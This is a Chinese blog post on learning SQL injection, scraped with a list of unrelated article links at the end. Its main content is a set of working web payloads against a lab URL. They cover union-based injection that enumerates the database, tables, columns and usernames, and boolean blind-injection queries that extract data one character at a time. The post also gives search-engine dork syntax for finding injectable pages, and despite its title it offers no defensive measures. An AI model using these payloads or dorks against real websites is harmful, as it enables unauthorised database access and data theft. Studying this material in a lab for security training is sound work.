当前位置: 首页 > news >正文

sql注入学习与防护

一、SQL注入分类

SQL注入根据攻击方式的不同,可以分为以下几种类型:

  1. 数字型注入
  2. 字符型注入
  3. 报错注入
  4. 布尔盲注
  5. 时间盲注
  6. 联合查询注入
  7. 基于堆叠的查询注入

二、SQL注入流程

  1. 发现注入点
  2. 猜测字段数
  3. 确定显示字段
  4. 获取数据库信息
  5. 获取数据库中的表
  6. 获取表中的字段
  7. 获取字段中的数据
例子:

获取数据库名参考

  1. 字符限制:数据库的名字可以包含字母、数字、下划线和美元符号($)。但是,名字不能以数字开头。

  2. 大小写敏感性:在Windows系统上,MySQL数据库的名字默认是不区分大小写的。但在大多数Unix/Linux系统上,数据库的名字是区分大小写的。为了确保跨平台的兼容性,建议使用小写字母。

  3. 长度限制:数据库的名字最大长度为64个字符。

1.发现网站请求为get,如果存在注入点这里不会报错
http://192.168.10.111/news/show.php?id=-1 and 1=12.发现注入点后猜字段,逐一尝试猜测字段数
http://192.168.10.111/news/show.php?id=-1 order by 16
-- order by x 根据第x个字段排序,如果出现报错说明字段不存在3.发现不报错出现,并且出现的数值,为显示字段
http://192.168.10.111/news/show.php?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,154.脱库
//获取当前数据库
http://192.168.10.111/news/show.php?id=-1 union select 1,2,3,4,5,6,7,8,9,10,database(),12,13,14,15//获取数据库中的表,hex的作用是因为拼接后的字符串有‘,’会混淆
192.168.10.111/news/show.php?id=-1 union select 1,2,3,4,5,6,7,8,9,10,
hex(group_concat(table_name))
,12,13,14,15 from information_schema.tables where table_schema='news'//获取表中的字段
192.168.10.111/news/show.php?id=-1 union select 1,2,3,4,5,6,7,8,9,10,
hex(group_concat(column_name))
,12,13,14,15 from information_schema.columns where table_schema='news' and table_name='news_users

三、sql盲注:

构造真或者假的问题对数据库进行提问

寻找sql注入点

1.在url后添加   ’  如果报错说明有注入点

2.对数值型注入点可以进行减法

3.对在url后添加   and 1=2   如果没有正常显示,说明有注入点

例子:
-- 猜测数据库长度
http://192.168.10.111/news/show.php?id=46 and length(database())=4-- 或取当前数据库第二个字符
http://192.168.10.111/news/show.php?id=46 and substr(database(),2,1)='e'-- 获取news数据库中所有表名长度
http://192.168.10.111/news/show.php?id=46 and length((select group_concat(table_name) 
from information_schema.tables where table_schema='news'))=98-- 获取表名字符串第一个字符
http://192.168.10.111/news/show.php?id=46 and substr((select group_concat(table_name) 
from information_schema.tables where table_schema='news'),1,1)='n'-- 获取news库,news_users表中字段字符串的字符串长度
http://192.168.10.111/news/show.php?id=46 and length((select group_concat(column_name) 
from information_schema.columns where table_schema='news' and table_name='news_users'))=24-- 获取字段第一个字符
http://192.168.10.111/news/show.php?id=46 and substr((select group_concat(column_name) 
from information_schema.columns where table_schema='news' and table_name='news_users'),1,1)='u'-- 获取username字段中的信息长度
http://192.168.10.111/news/show.php?id=46 and length((select group_concat(username) from 
news.news_users))=5-- 获取username字段的字符
http://192.168.10.111/news/show.php?id=46 and substr((select group_concat(username) fromnews.news_users),2,1)='d'

 

注:查找网站资源可使用hacking语法

inurl:?id=                url中存在:?id=

Intitle:admin            title中存在:admin

filetype:txt                查找网站中txt文件

site:www.baidu.com 在百度中查找

http://www.lryc.cn/news/406281.html

相关文章:

  • 饥荒dst联机服务器搭建基于Ubuntu
  • AtCoder Beginner Contest 363
  • Protel DXP 面试题详解及参考答案(4万字长文)
  • 雪花算法 集群uid重复问题 uid-generator-spring-boot-starter
  • 【AutoDL】AutoDL+Xftp+Xshell+VSCode配合使用教程
  • 使用minio cllient(mc)完成不同服务器的minio的数据迁移和mc基本操作
  • Vue3分段控制器(Segmented)
  • SpringSecurity如何正确的设置白名单
  • 【Langchain大语言模型开发教程】评估
  • Python爬虫小项目实战
  • PHP Filesystem 简介
  • 源代码加密软件哪家好?五款企业级加密软件推荐
  • Redis常见的数据类型及操作方式
  • 谷粒商城实战笔记-55-商品服务-API-三级分类-修改-拖拽数据收集
  • AI绘画入门实践|Midjourney:使用 --seed 制作情侣头像与漫画
  • 笔记:Enum中FlagsAttribute特性的用法
  • QWidget如何切换ui
  • web网站组成
  • 带您详细了解安全漏洞的产生和防护
  • 【接口测试】params传参与body传参区别
  • 【docker】部署证书过期监控系统mouday/domain-admin
  • 高级java每日一道面试题-2024年7月17日
  • css中如何清除浮动
  • 【网络】tcp_socket
  • Live555源码阅读笔记:哈希表的实现
  • vue3创建vite项目
  • Maven概述
  • Easyu中datagrid点击时获取所在行的数据
  • java项目中添加SDK项目作为依赖使用(无需上传Maven)
  • 区块链和数据要素融合的价值及应用